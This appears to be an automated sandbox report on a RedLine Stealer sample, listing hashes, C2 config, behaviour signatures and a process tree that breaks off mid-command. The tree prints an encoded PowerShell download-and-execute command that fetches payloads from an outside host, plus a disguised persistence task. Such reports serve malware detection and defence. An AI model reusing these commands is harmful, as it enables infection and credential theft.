Analysis
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max time kernel
41s -
max time network
91s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
30/01/2023, 19:06
Static task
static1
Behavioral task
behavioral1
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win10v2004-20221111-en
General
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Target
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
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Size
360KB
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MD5
9c0c75bb31dfa46b2c91c12693bf45dd
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SHA1
b405694fbedc3ed57f486a0bd892fb48b2917d49
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SHA256
c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
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SHA512
cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44
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SSDEEP
6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3620-171-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
description pid Process procid_target PID 2072 created 1704 2072 SmartDefRun.exe 19 PID 2072 created 1704 2072 SmartDefRun.exe 19 PID 2072 created 1704 2072 SmartDefRun.exe 19 PID 2084 created 604 2084 powershell.EXE 5 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 4316 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 4668 new2.exe 1976 C4Loader.exe 2072 SmartDefRun.exe 1532 SysApp.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 2728 set thread context of 1368 2728 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 4668 set thread context of 3620 4668 new2.exe 92 PID 2072 set thread context of 3804 2072 SmartDefRun.exe 120 PID 2084 set thread context of 3956 2084 powershell.EXE 125 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1512 sc.exe 1636 sc.exe 4932 sc.exe 2004 sc.exe 4408 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 4976 2728 WerFault.exe 80 4252 4668 WerFault.exe 87 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE -
Suspicious behavior: EnumeratesProcesses 44 IoCs
pid Process 4316 powershell.exe 4316 powershell.exe 1532 SysApp.exe 1532 SysApp.exe 1532 SysApp.exe 1532 SysApp.exe 1532 SysApp.exe 1532 SysApp.exe 1532 SysApp.exe 1532 SysApp.exe 1532 SysApp.exe 1532 SysApp.exe 3620 vbc.exe 2072 SmartDefRun.exe 2072 SmartDefRun.exe 4604 powershell.exe 4604 powershell.exe 2072 SmartDefRun.exe 2072 SmartDefRun.exe 2072 SmartDefRun.exe 2072 SmartDefRun.exe 372 powershell.exe 372 powershell.exe 2072 SmartDefRun.exe 2072 SmartDefRun.exe 2084 powershell.EXE 3868 powershell.EXE 2084 powershell.EXE 3868 powershell.EXE 2084 powershell.EXE 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe 3956 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4316 powershell.exe Token: SeDebugPrivilege 3620 vbc.exe Token: SeDebugPrivilege 4604 powershell.exe Token: SeDebugPrivilege 372 powershell.exe Token: SeIncreaseQuotaPrivilege 372 powershell.exe Token: SeSecurityPrivilege 372 powershell.exe Token: SeTakeOwnershipPrivilege 372 powershell.exe Token: SeLoadDriverPrivilege 372 powershell.exe Token: SeSystemProfilePrivilege 372 powershell.exe Token: SeSystemtimePrivilege 372 powershell.exe Token: SeProfSingleProcessPrivilege 372 powershell.exe Token: SeIncBasePriorityPrivilege 372 powershell.exe Token: SeCreatePagefilePrivilege 372 powershell.exe Token: SeBackupPrivilege 372 powershell.exe Token: SeRestorePrivilege 372 powershell.exe Token: SeShutdownPrivilege 372 powershell.exe Token: SeDebugPrivilege 372 powershell.exe Token: SeSystemEnvironmentPrivilege 372 powershell.exe Token: SeRemoteShutdownPrivilege 372 powershell.exe Token: SeUndockPrivilege 372 powershell.exe Token: SeManageVolumePrivilege 372 powershell.exe Token: 33 372 powershell.exe Token: 34 372 powershell.exe Token: 35 372 powershell.exe Token: 36 372 powershell.exe Token: SeIncreaseQuotaPrivilege 372 powershell.exe Token: SeSecurityPrivilege 372 powershell.exe Token: SeTakeOwnershipPrivilege 372 powershell.exe Token: SeLoadDriverPrivilege 372 powershell.exe Token: SeSystemProfilePrivilege 372 powershell.exe Token: SeSystemtimePrivilege 372 powershell.exe Token: SeProfSingleProcessPrivilege 372 powershell.exe Token: SeIncBasePriorityPrivilege 372 powershell.exe Token: SeCreatePagefilePrivilege 372 powershell.exe Token: SeBackupPrivilege 372 powershell.exe Token: SeRestorePrivilege 372 powershell.exe Token: SeShutdownPrivilege 372 powershell.exe Token: SeDebugPrivilege 372 powershell.exe Token: SeSystemEnvironmentPrivilege 372 powershell.exe Token: SeRemoteShutdownPrivilege 372 powershell.exe Token: SeUndockPrivilege 372 powershell.exe Token: SeManageVolumePrivilege 372 powershell.exe Token: 33 372 powershell.exe Token: 34 372 powershell.exe Token: 35 372 powershell.exe Token: 36 372 powershell.exe Token: SeIncreaseQuotaPrivilege 372 powershell.exe Token: SeSecurityPrivilege 372 powershell.exe Token: SeTakeOwnershipPrivilege 372 powershell.exe Token: SeLoadDriverPrivilege 372 powershell.exe Token: SeSystemProfilePrivilege 372 powershell.exe Token: SeSystemtimePrivilege 372 powershell.exe Token: SeProfSingleProcessPrivilege 372 powershell.exe Token: SeIncBasePriorityPrivilege 372 powershell.exe Token: SeCreatePagefilePrivilege 372 powershell.exe Token: SeBackupPrivilege 372 powershell.exe Token: SeRestorePrivilege 372 powershell.exe Token: SeShutdownPrivilege 372 powershell.exe Token: SeDebugPrivilege 372 powershell.exe Token: SeSystemEnvironmentPrivilege 372 powershell.exe Token: SeRemoteShutdownPrivilege 372 powershell.exe Token: SeUndockPrivilege 372 powershell.exe Token: SeManageVolumePrivilege 372 powershell.exe Token: 33 372 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2728 wrote to memory of 1368 2728 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 2728 wrote to memory of 1368 2728 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 2728 wrote to memory of 1368 2728 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 2728 wrote to memory of 1368 2728 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 2728 wrote to memory of 1368 2728 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 82 PID 1368 wrote to memory of 4316 1368 vbc.exe 85 PID 1368 wrote to memory of 4316 1368 vbc.exe 85 PID 1368 wrote to memory of 4316 1368 vbc.exe 85 PID 4316 wrote to memory of 4668 4316 powershell.exe 87 PID 4316 wrote to memory of 4668 4316 powershell.exe 87 PID 4316 wrote to memory of 4668 4316 powershell.exe 87 PID 4316 wrote to memory of 1976 4316 powershell.exe 89 PID 4316 wrote to memory of 1976 4316 powershell.exe 89 PID 4316 wrote to memory of 1976 4316 powershell.exe 89 PID 4316 wrote to memory of 2072 4316 powershell.exe 90 PID 4316 wrote to memory of 2072 4316 powershell.exe 90 PID 4316 wrote to memory of 1532 4316 powershell.exe 91 PID 4316 wrote to memory of 1532 4316 powershell.exe 91 PID 4316 wrote to memory of 1532 4316 powershell.exe 91 PID 4668 wrote to memory of 3620 4668 new2.exe 92 PID 4668 wrote to memory of 3620 4668 new2.exe 92 PID 4668 wrote to memory of 3620 4668 new2.exe 92 PID 4668 wrote to memory of 3620 4668 new2.exe 92 PID 4668 wrote to memory of 3620 4668 new2.exe 92 PID 4980 wrote to memory of 1512 4980 cmd.exe 109 PID 4980 wrote to memory of 1512 4980 cmd.exe 109 PID 4980 wrote to memory of 1636 4980 cmd.exe 110 PID 4980 wrote to memory of 1636 4980 cmd.exe 110 PID 4980 wrote to memory of 4932 4980 cmd.exe 111 PID 4980 wrote to memory of 4932 4980 cmd.exe 111 PID 4980 wrote to memory of 2004 4980 cmd.exe 112 PID 4980 wrote to memory of 2004 4980 cmd.exe 112 PID 4980 wrote to memory of 4408 4980 cmd.exe 113 PID 4980 wrote to memory of 4408 4980 cmd.exe 113 PID 4980 wrote to memory of 2296 4980 cmd.exe 114 PID 4980 wrote to memory of 2296 4980 cmd.exe 114 PID 4980 wrote to memory of 4936 4980 cmd.exe 115 PID 4980 wrote to memory of 4936 4980 cmd.exe 115 PID 4980 wrote to memory of 1564 4980 cmd.exe 116 PID 4980 wrote to memory of 1564 4980 cmd.exe 116 PID 4980 wrote to memory of 1764 4980 cmd.exe 117 PID 4980 wrote to memory of 1764 4980 cmd.exe 117 PID 4980 wrote to memory of 4456 4980 cmd.exe 118 PID 4980 wrote to memory of 4456 4980 cmd.exe 118 PID 2072 wrote to memory of 3804 2072 SmartDefRun.exe 120 PID 2084 wrote to memory of 3956 2084 powershell.EXE 125 PID 2084 wrote to memory of 3956 2084 powershell.EXE 125 PID 2084 wrote to memory of 3956 2084 powershell.EXE 125 PID 2084 wrote to memory of 3956 2084 powershell.EXE 125 PID 2084 wrote to memory of 3956 2084 powershell.EXE 125 PID 2084 wrote to memory of 3956 2084 powershell.EXE 125 PID 2084 wrote to memory of 3956 2084 powershell.EXE 125 PID 2084 wrote to memory of 3956 2084 powershell.EXE 125 PID 2084 wrote to memory of 3956 2084 powershell.EXE 125 PID 3956 wrote to memory of 604 3956 dllhost.exe 5 PID 3956 wrote to memory of 664 3956 dllhost.exe 3 PID 3956 wrote to memory of 944 3956 dllhost.exe 11 PID 3956 wrote to memory of 1020 3956 dllhost.exe 10 PID 3956 wrote to memory of 500 3956 dllhost.exe 9 PID 3956 wrote to memory of 680 3956 dllhost.exe 79 PID 3956 wrote to memory of 1080 3956 dllhost.exe 77 PID 3956 wrote to memory of 1088 3956 dllhost.exe 76 PID 3956 wrote to memory of 1100 3956 dllhost.exe 75 PID 3956 wrote to memory of 1220 3956 dllhost.exe 74
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:664
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:604
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{48c30835-6c41-431e-b380-84244eafbf53}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:944
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3540
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3176
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1704
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C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3620
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 2566⤵
- Program crash
PID:4252
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1976
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 